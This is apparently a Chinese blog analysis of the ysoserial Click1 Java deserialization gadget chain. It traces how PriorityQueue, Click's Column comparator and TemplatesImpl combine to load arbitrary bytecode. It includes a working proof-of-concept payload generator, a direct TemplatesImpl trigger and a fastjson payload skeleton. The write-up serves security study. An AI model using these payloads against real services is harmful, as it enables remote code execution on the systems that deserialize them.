前段时间ysoserial又更新了一个链Click1,网上好像一直没人分析,最近在学习java,就稍微分析下。
一、 利用代码
Click1依赖click-nodeps-2.3.0.jar,javax.servlet-api-3.1.0.jar
click-nodeps应该是个冷门项目,搜不到太多信息,所以此链也就看看就好,增加一点关于java反序列化的知识。
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Click1.java
不想重新编译ysoserial的,或者只想要POC的,可以用我重构的代码如下
package test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
import java.io.*;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
public class Click1 {
public static void main(String[] args) throws Exception {
FileInputStream inputFromFile = new FileInputStream("C:\\Users\\Administrator.K\\workspace\\test\\bin\\test\\TemplatesImplcmd.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final Column column = new Column("lowestSetBit");
column.setTable(new Table());
Comparator comparator = column.getComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
column.setName("outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
二、 TemplatesImpl
Click1链和CommonsBeanutils1链息息相关,更确切来说,这就是CommonsBeanutils1链在其他jar包的用法。想要跟这个链,就必须了解CommonsBeanutils1链的知识,比如TemplatesImpl。
Click1链和CommonsBeanutils1链都是无法直接去调Runtime.getRuntime().exec()的,只能使用TemplatesImpl加载任意类。
如何做到的呢?先看com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
调newTransformer()
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
调getTransletInstance()
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
需要_name不为null且_class为null,这就是setFieldValue(obj, “_name”, “XXX”);的意义。
调defineTransletClasses()
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
注意这里_tfactory.getExternalExtensionsMap(),也就是为什么将_tfactory设置成new TransformerFactoryImpl()的原因。
但我们可以发现在fastjson的payload中并没有这样设置。
{"a":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":[""xxxxxxxxxxxxxxxxxxxxxxxx""],"_name": "aaa","_tfactory":{},"_outputProperties":{}}}
实际情况注释掉这行代码生成的反序列化payload也一样能用,但直接调用getOutputProperties却不能缺失这行,所以最好还是加上。
而我们设置的_bytecodes在这儿被defineClass加载进去,此处最终会调用原生defineClass加载字节码,然后赋值给_class[i]。而在getTransletInstance()执行defineTransletClasses()之后
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
由于_transletIndex = i,至此我们加载进去的TemplatesImplcmd.class被实例化。
总结,只要我们事先用反射设置好_bytecodes/_name/_tfactory这三个属性,再调用TemplatesImpl.getOutputProperties(),即可执行任意类。POC如下
package test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
public class Test {
public static void main(String[] args) throws Exception {
FileInputStream inputFromFile = new FileInputStream("C:\\Users\\Administrator.K\\workspace\\test\\bin\\test\\TemplatesImplcmd.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.getOutputProperties();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
这也是正是fastjson payload的原理。
三、 PriorityQueue
PriorityQueue是一个优先队列,在反序列化的过程中,会调用Comparator对元素进行比较,Click1和CommonsBeanutils1存在反序列化漏洞的原因就是因为它们都重写了compare()方法。
我们还是从后往前去跟,先看PriorityQueue.readObject()
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
调用heapify()
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
调用siftDown()
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
comparator在new的时候输入进去,当然不为空,调用siftDownUsingComparator()
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
调用comparator.compare(),因为Comparator comparator = column.getComparator();,所以实际调的是org.apache.click.control.Column$ColumnComparator.compare()
public int compare(Object row1, Object row2) {
this.ascendingSort = column.getTable().isSortedAscending() ? 1 : -1;
Object value1 = column.getProperty(row1);
Object value2 = column.getProperty(row2);
注意这儿getTable()需要this.table,因此需要column.setTable(new Table());
调用getProperty()
public Object getProperty(Object row) {
return getProperty(getName(), row);
}
getName()根据column.setName(“outputProperties”);也就是outputProperties
public String getName() {
return name;
}
继续跟getProperty()
public Object getProperty(String name, Object row) {
if (row instanceof Map) {
xxxxxxxxxxx
} else {
if (methodCache == null) {
methodCache = new HashMap<Object, Object>();
}
return PropertyUtils.getValue(row, name, methodCache);
}
}
row不是map,因此调用PropertyUtils.getValue()
public static Object getValue(Object source, String name, Map cache) {
String basePart = name;
String remainingPart = null;
if (source instanceof Map) {
return ((Map) source).get(name);
}
int baseIndex = name.indexOf(".");
if (baseIndex != -1) {
basePart = name.substring(0, baseIndex);
remainingPart = name.substring(baseIndex + 1);
}
Object value = getObjectPropertyValue(source, basePart, cache);
source不是Map,因此调用getObjectPropertyValue()
private static Object getObjectPropertyValue(Object source, String name, Map cache) {
PropertyUtils.CacheKey methodNameKey = new PropertyUtils.CacheKey(source, name);
Method method = null;
try {
method = (Method) cache.get(methodNameKey);
if (method == null) {
method = source.getClass().getMethod(ClickUtils.toGetterName(name));
cache.put(methodNameKey, method);
}
return method.invoke(source);
可以明显看出来以反射的方式,最终执行了ClickUtils.toGetterName(name)方法,而toGetterName()也就是给name加个get而已,而name前面说过就是 outputProperties,而source 就是TemplatesImpl,也就是最终执行了TemplatesImpl. getOutputProperties()。
source为什么TemplatesImpl可以回头看看
getObjectPropertyValue(source)
getValue(source)
getProperty(row)
compare(row1)
siftDownUsingComparator()
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
row1为c也就是queue[child],正是我们反射进去的TemplatesImpl。
setFieldValue(queue, “queue”, new Object[]{obj, obj});
四、 总结
最后还剩三行代码需要解释
final Column column = new Column("lowestSetBit");
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
这里其实在用调getlowestSetBit方法去比较并排序两个new BigInteger(“1”)。排序之前name被设置为lowestSetBit,排序之后利用反射重置name为outputProperties,两个new BigInteger(“1”)也被重置为TemplatesImpl。序列化之后再用readObject触发,是用非常巧妙的方式绕过了可以排序和比较的类型(Comparabl接口)限制。
代码很简单不再分析只给出大致的调用链。
Column.Column() //设置name为 lowestSetBit
PriorityQueue.add() //第一次新增
PriorityQueue.offer()
PriorityQueue.grow()
PriorityQueue.add() //第二次新增
PriorityQueue.offer()
PriorityQueue.siftUp()
PriorityQueue.siftUpUsingComparator()
Column$Comparator.compare()
Column.getProperty()
Column.getName() //取出lowestSetBit
Column.getProperty()
PropertyUtils.getValue()
PropertyUtils.getObjectPropertyValue()
BigInteger.getLowestSetBit()
而反序列化的调用链为
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
Column$ColumnComparator.compare()
Column.getProperty()
Column.getName()
Column.getProperty()
PropertyUtils.getValue()
PropertyUtils.getObjectPropertyValue()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl$TransletClassLoader.defineClass()
Click1链和CommonsBeanutils1链几乎一模一样,虽然不如CommonsBeanutils1通用,但是认真分析下来还是能学到不少东西。